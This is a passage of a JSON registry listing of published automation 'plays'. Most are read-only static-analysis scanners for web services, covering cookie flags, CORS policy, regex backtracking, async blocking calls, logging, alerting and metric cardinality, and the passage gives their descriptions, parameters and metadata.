produce, groups them by the SHAPE a caller actually parses - the top-level keys of the body - and names the endpoints that disagree with the rest of the service. The house shape is decided by majority across the whole tree, not per file, so an outlier is measured rather than guessed. It also reports one endpoint answering in two shapes, an error body with no keys at all, and an error body built from a variable whose NAME says it may hold a credential, reported by name only because this play never evaluates it. A body it cannot resolve is UNRESOLVED and never allowed to become the house shape. Read-only and offline: nothing executed, no server contacted. Needs python3, bash, an ABSOLUTE root.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-web","domain-quality","job-api-surface-review","tool-shell","effect-read-only","error-handling","error-response","api-consistency","http-status","json-schema-drift","problem-details","rfc9457","client-parsing","fastapi","flask","express","contract-drift","developer-experience","audience-backend-developers","audience-api-consumers","read-only","offline","no-network","no-credentials","static-analysis"],"primary_domain":"domain-web","author":"lgoyal6","version":"0.1.1","published_at":"2026-09-06T03:52:05.859839+00:00","visibility":"public","quality_score":1,"size_bytes":31941,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["census","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute directory to scan. A process.exec step runs in rote's own workspace rather than in your shell's directory, so a relative path would scan the wrong tree and report a confident clean bill of health about it; a relative value is refused with exit 2.","example":"/Users/you/src/my-service"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for source files","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a8748dc0f81b77e780b366fc53a442860262fac626bea9ab6ee026426022a4a1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/cookie-flags@0.1.1","reference":"lgoyal6/cookie-flags@0.1.1","uri":"https://play.modiqo.ai/lgoyal6/cookie-flags@0.1.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/cookie-flags@0.1.1","name":"cookie-flags","title":"cookie-flags","description":"A missing HttpOnly is a critical bug on a session cookie and correct on a theme cookie, so a scanner that flags every cookie the same way is useless. This finds every place the code SETS a cookie - Python, JavaScript, TypeScript, Go - and grades each one against what the cookie IS, decided from its NAME and the call that sets it, never from its value. It reports a credential cookie readable by page script, SameSite=None without Secure (which browsers drop outright, so it fails in production and works on a dev server), a session cookie widened to every subdomain, a broken __Host- prefix contract, and a credential written through document.cookie, which can never carry HttpOnly at all. A preference or CSRF cookie the front end must read is excluded WITH ITS REASON, as is a logout path that clears a cookie. Cookie VALUES are never printed. Read-only and offline: nothing executed, no server contacted. Needs python3, bash, an ABSOLUTE root.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","domain-web","job-api-surface-review","tool-shell","effect-read-only","cookies","set-cookie","httponly","secure-flag","samesite","session-cookie","session-hijacking","csrf","xss-impact","host-prefix","cookie-domain","document-cookie","flask","express","django","audience-backend-developers","audience-security","read-only","offline","no-network","no-credentials","static-analysis"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.1.1","published_at":"2026-09-06T03:52:04.515312+00:00","visibility":"public","quality_score":1,"size_bytes":30655,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute directory to scan. A process.exec step runs in rote's own workspace rather than in your shell's directory, so a relative path would scan the wrong tree and report a confident clean bill of health about it; a relative value is refused with exit 2.","example":"/Users/you/src/my-service"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for source files","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:53b3ee711eda9c048f6574ba479be1c67fd2605c6f1457533bb2cb94e8326927","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/cors-posture@0.1.1","reference":"lgoyal6/cors-posture@0.1.1","uri":"https://play.modiqo.ai/lgoyal6/cors-posture@0.1.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/cors-posture@0.1.1","name":"cors-posture","title":"cors-posture","description":"A service keeps its CORS policy in one file and forty mutating routes in another, so grepping the config tells you where a string sits, not what it exposes. This reads both halves and reports what a cross-origin page can invoke: each policy, the routes its scope covers, and how many change state. It finds a wildcard origin paired with credentials, which browsers refuse, so the policy that shipped is not the one anyone gets and the star is left as an open door; an Origin echoed back instead of checked against a list; star methods and headers; and an allowed-methods list contradicting the routes in its own scope, which then fail preflight in a browser while working from curl. A policy written in a comment or docstring binds nobody and is not reported. A value from a variable or argparse flag is resolved to its default, or reported UNRESOLVED, never assumed safe. Read-only and offline: nothing executed, no server contacted, no credential read. Needs python3, bash, an ABSOLUTE root.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","domain-web","job-api-surface-review","tool-shell","effect-read-only","cors","cross-origin","access-control-allow-origin","wildcard-origin","reflected-origin","allow-credentials","preflight","options-request","route-coverage","fastapi","starlette","express","flask-cors","browser-security","audience-backend-developers","audience-security","read-only","offline","no-network","no-credentials","static-analysis"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.1.1","published_at":"2026-09-06T03:52:02.338999+00:00","visibility":"public","quality_score":1,"size_bytes":33344,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute directory to scan. A process.exec step runs in rote's own workspace rather than in your shell's directory, so a relative path would scan the wrong tree and report a confident clean bill of health about it; a relative value is refused with exit 2.","example":"/Users/you/src/my-service"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for source files","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:41acdb2d6bc2bd37e25bd1c7766893ae39a65824c913c783a28d1ada17db76d6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/blocking-in-async@1.0.0","reference":"lgoyal6/blocking-in-async@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/blocking-in-async@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/blocking-in-async@1.0.0","name":"blocking-in-async","title":"blocking-in-async","description":"A time.sleep inside a coroutine does not delay that one request. It delays every request in flight on that worker and everyone queued behind them, which is why this class of slowness lands on strangers rather than on the caller who caused it. This finds them: time.sleep, requests, urlopen, subprocess, the builtin open, a synchronous redis or boto3 client, a while True with no await in it, and Node's *Sync family. Python is read with the standard library parser, because the real question is whether a call sits inside an async def or inside a plain def written underneath one, and no line matcher answers that. What is deliberately NOT reported is counted and named: the same call in a synchronous helper, which is the largest class by far; anything handed to run_in_executor or to_thread, which is the fix; a nested def; and blocking on a startup or CLI path. Read-only, offline, no credentials, no code executed.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","performance-workflows","job-event-loop-audit","tool-static-analysis","effect-read-only","asyncio","event-loop","blocking-call","coroutine","latency","throughput","fastapi","nodejs","concurrency","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T03:46:56.886747+00:00","visibility":"public","quality_score":1,"size_bytes":28392,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to audit. Must be an ABSOLUTE path, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for source files","example":"4"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:99a6de8c51765ae2afdbdb1daf5ba2e586fbd141ace922b5736a1250debee598","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/alert-coverage@0.1.0","reference":"lgoyal6/alert-coverage@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/alert-coverage@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/alert-coverage@0.1.0","name":"alert-coverage","title":"alert-coverage","description":"Name every way this service can fail, then name the ones anybody would hear about. This finds the failure paths the code actually has - a raise that constructs a new error, a throw, a 4xx/5xx response, a retry loop that gives up, a dead-letter or nack - and asks what observability signal is reachable from that same block: a log call, a metric, or an error reporter. The finding is the failure with none of the three. It also walks the alert rule files this repository defines (Prometheus, Alertmanager, Datadog, Terraform) and cross-references them, so a failure that increments a counter no alert rule mentions is reported as reaching nobody, and a repository with no alert rules at all is told so outright. Re-raises, propagated Go errors, built-in ValueError contracts, stubs, tests and vendored trees are excluded WITH A REASON and counted. Read-only and offline; prints its own self-check result first.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","code-quality","job-reliability-audit","tool-static-analysis","effect-read-only","alerting","monitoring","observability","incident-response","silent-failure","error-handling","prometheus","audience-developers","audience-sre","audience-oncall","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T03:46:12.488133+00:00","visibility":"public","quality_score":1,"size_bytes":36833,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the codebase to scan. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/code/myproject"},{"name":"max_files","type":"string","required":false,"default":"6000","description":"Cap on Python/JavaScript/TypeScript/Go files walked. A scan that hits the cap is marked PARTIAL so a capped read is never reported as a clean one.","example":"6000"},{"name":"top","type":"string","required":false,"default":"12","description":"How many full findings to print before the rest become a one-line index. Every finding is still analysed and counted.","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fcf83cf6bb579463316427d0e4addaf6ea768dc2f44b70d1d68f8b347ecb1f62","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sathish/github-pr-study-review-organizer@1.0.0","reference":"sathish/github-pr-study-review-organizer@1.0.0","uri":"https://play.modiqo.ai/sathish/github-pr-study-review-organizer@1.0.0","manifest_uri":"https://play.modiqo.ai/sathish/github-pr-study-review-organizer@1.0.0","name":"github-pr-study-review-organizer","title":"github-pr-study-review-organizer","description":"Organizes a GitHub pull request into structured study and review material from user-supplied text: PR summary, change breakdown by area, review checklist, evidence-cited risks that separate evidence from inference, questions for the author, testing checklist with likely regression areas, review summary, study card, recall questions, and a paste-ready prompt for your own AI coding agent. Fetches nothing: no GitHub API call, no scraping, no credentials, no browser. Never invents files, bugs, tests, or reviewers, and reports missing information as missing. Requires python3 on PATH; standard library only, no model call, no API key.","owner":{"kind":"user","slug":"sathish"},"registry_organization":"sathish","tags":["typescript","github","pull-request","code-review","study","revision","learning","process"],"primary_domain":"domain-uncategorized","author":"sathish","version":"1.0.0","published_at":"2026-09-06T03:42:38.358198+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":77356,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["analyze_pr"]},"parameters":[{"name":"pr_url","type":"string","required":true,"description":"GitHub pull request URL, e.g. https://github.com/owner/repo/pull/123. Parsed for owner, repo, and number only. It is never fetched: no HTTP request is made to this URL."},{"name":"pr_description","type":"string","required":true,"description":"The PR description text, copied from the pull request. Analyzed for stated purpose, test plan, ticket references, and declared change type."},{"name":"changed_files","type":"string","required":true,"description":"Changed-file list and/or diff text. Accepts `git diff`, `gh pr diff`, `git diff --stat`, `git diff --name-status`, or a plain list of repository-relative paths, in any mix. Line-level review needs a unified diff."},{"name":"review_notes","type":"string","required":false,"default":"","description":"Optional. Your own notes, questions, or concerns about this PR. Your questions are recovered verbatim even when hard-wrapped, and carried into the questions-for-author section. When omitted, the absence is reported and nothing is invented to fill it."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:90ccc8fb72af979b6410b7d993f495e9b21925bd8ae9a73f6c576d2a997cd2ce","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/catastrophic-regex@1.0.0","reference":"lgoyal6/catastrophic-regex@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/catastrophic-regex@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/catastrophic-regex@1.0.0","name":"catastrophic-regex","title":"catastrophic-regex","description":"A regex in one of my own plays backtracked for six CPU-minutes on a large file before anyone worked out that the regex was the problem: it passed review, because a bad pattern and a good one look identical. This finds the three shapes that do it. An inner repetition nested inside an outer one with nothing mandatory between them. A repeated alternation whose branches can start on the same character. Two unbounded repetitions side by side. No pattern is ever executed - timing a suspect regex means running the thing that does not terminate - so each is parsed and reasoned about instead. Findings rank by where the matched string comes from, because a request handler argument and a module constant are different problems. Four safe shapes are excluded and each is counted: a separator-anchored (\\d+,)+, a small bounded {1,4}, an atomic group, and an alternation whose branches cannot collide. Python and JS/TS. Read-only, offline, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","security-workflows","performance-workflows","job-redos-audit","tool-static-analysis","effect-read-only","redos","catastrophic-backtracking","regex","nested-quantifier","denial-of-service","input-validation","cpu-exhaustion","pattern-safety","audience-developers","audience-security","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T03:38:21.133074+00:00","visibility":"public","quality_score":1,"size_bytes":32406,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to audit. Must be an ABSOLUTE path, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for source files","example":"4"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:256a26dd53eae655f36a790fe429972cff9b461e48abd5e3b64cee7944661fed","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/metric-cardinality@0.1.0","reference":"lgoyal6/metric-cardinality@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/metric-cardinality@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/metric-cardinality@0.1.0","name":"metric-cardinality","title":"metric-cardinality","description":"Your Prometheus bill tripled and one metric is why: somebody added a label and fed it a user id, so the series count now grows with your user base instead of with your code, and it never shrinks. This reads Python, JavaScript/TypeScript and Go, finds where a metric label actually gets its value, and reports the metric, the offending label, and the expression feeding it. Four signals: a per-entity identifier (user, session, request, trace, email, IP), an error message or stack trace, a resolved URL path instead of the route template, and a value built by an f-string or format call so its range cannot be read off the code. The value is judged before the name, so a sensible-looking `route` label carrying request.path is still caught. Bounded labels, literals, constants and router templates are excluded WITH A REASON and counted. Read-only and offline: it parses bytes on disk, executes nothing, and prints its own self-check result first.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","code-quality","job-reliability-audit","tool-static-analysis","effect-read-only","metrics","prometheus","observability","opentelemetry","cardinality","time-series","cost-control","audience-developers","audience-sre","audience-oncall","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T03:37:44.851908+00:00","visibility":"public","quality_score":1,"size_bytes":36737,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the codebase to scan. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/code/myproject"},{"name":"max_files","type":"string","required":false,"default":"6000","description":"Cap on Python/JavaScript/TypeScript/Go files walked. A scan that hits the cap is marked PARTIAL so a capped read is never reported as a clean one.","example":"6000"},{"name":"top","type":"string","required":false,"default":"12","description":"How many full findings to print before the rest become a one-line index. Every finding is still analysed and counted.","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a49f0c7ab612f05bc55f7586a27a78feae94e6a01fe12b4bec3111e02ed7b717","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/log-level-drift@0.1.0","reference":"lgoyal6/log-level-drift@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/log-level-drift@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/log-level-drift@0.1.0","name":"log-level-drift","title":"log-level-drift","description":"At 3am you run one query - level>=error - and the failure you are chasing is not in it, because somebody logged it at info. Meanwhile a heartbeat logs at error, so the channel that pages you fires on healthy traffic and the team has muted it. This reads Python, JavaScript/TypeScript and Go and judges every logging call by its CALL SITE, never by the message text: an exception handler or an error value recorded below error level, error level on a path with no error on it, a print/console.log/fmt.Println left in a file that already has a logger, and an info-or-above log inside a loop whose volume peaks exactly when you need to read it. Sampling guards, logger.exception, warn in a handler, debug in a loop, CLI entry points, tests and vendored trees are excluded WITH A REASON and counted, never dropped in silence. Read-only and offline: it parses bytes on disk, executes nothing belonging to the tree it scans, needs no credential, and prints its own self-check result before any finding.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","code-quality","job-reliability-audit","tool-static-analysis","effect-read-only","logging","log-levels","observability","oncall","alert-fatigue","print-debugging","hot-loop-logging","audience-developers","audience-sre","audience-oncall","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T03:28:33.174625+00:00","visibility":"public","quality_score":1,"size_bytes":33413,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the codebase to scan. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/code/myproject"},{"name":"max_files","type":"string","required":false,"default":"6000","description":"Cap on Python/JavaScript/TypeScript/Go files walked. A scan that hits the cap is marked PARTIAL so a capped read is never reported as a clean one.","example":"6000"},{"name":"top","type":"string","required":false,"default":"12","description":"How many full findings to print before the rest become a one-line index. Every finding is still analysed and counted.","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a0d815911a42c2708bcc6c2fc28f09e6abc8a6a2d9d027c17474bc33da18327e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mindcraft/logborg-autonomous-recovery@1.0.0","reference":"mindcraft/logborg-autonomous-recovery@1.0.0","uri":"https://play.modiqo.ai/mindcraft/logborg-autonomous-recovery@1.0.0","manifest_uri":"https://play.modiqo.ai/mindcraft/logborg-autonomous-recovery@1.0.0","name":"logborg-autonomous-recovery","title":"logborg-autonomous-recovery","description":"Runs the LogBorg AI autonomous SRE recovery pipeline and presents live recovery evidence.","owner":{"kind":"user","slug":"mindcraft"},"registry_organization":"mindcraft","tags":["logborg","sre","autonomous-recovery","cyberpunk","self-healing","observability"],"primary_domain":"domain-uncategorized","author":"Adil Khan","version":"1.0.0","published_at":"2026-09-06T02:41:59.823313+00:00","visibility":"public","quality_score":0.875,"size_bytes":3297,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":1,"names":["logborg_recovery"]},"parameters":[{"name":"root","type":"string","required":true}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:497e841d9bcfe012c85c3dec482833163f1295064542ee4d724c66980f7c7b13","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/ameykaulavkar/rate-limit-header-inspector@0.1.0","reference":"ameykaulavkar/rate-limit-header-inspector@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/rate-limit-header-inspector@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/rate-limit-header-inspector@0.1.0","name":"rate-limit-header-inspector","title":"rate-limit-header-inspector","description":"HTTP rate limit response header auditor and client backoff scheduler. Parses IETF RFC RateLimit and X-RateLimit headers, computes quota consumption and sustainable QPS, generates jittered exponential backoff schedules, and audits DDoS burst protection with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-api-networking","job-rate-limit-inspector","tool-backoff-calculator","audience-developers","effect-read-only"],"primary_domain":"domain-api-networking","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:58:51.640873+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5169,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["ratelimit_header_parser","client_backoff_scheduler","ddos_protection_evaluator","headroom_burn_rate_calculator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"API URL to probe, JSON map of headers, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3b6409b326b85f7b847470de5ef7aabfc2a967413c2ff1814abad8356cd75fb8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/webhook-signature-verifier@0.1.0","reference":"ameykaulavkar/webhook-signature-verifier@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/webhook-signature-verifier@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/webhook-signature-verifier@0.1.0","name":"webhook-signature-verifier","title":"webhook-signature-verifier","description":"Webhook signature verifier and replay attack guard. Validates HMAC-SHA256 digests across Stripe, GitHub, Slack, and Shopify, audits timestamp freshness within 300-second replay tolerance, and provides timing-safe verification patterns with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-api-webhooks","job-signature-verifier","tool-replay-guard","audience-developers","effect-read-only"],"primary_domain":"domain-api-webhooks","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:57:54.628748+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5154,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["timestamp_replay_guard","hmac_signature_evaluator","provider_format_detector","webhook_hardening_advisor"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Raw webhook payload JSON string, signature header string, or 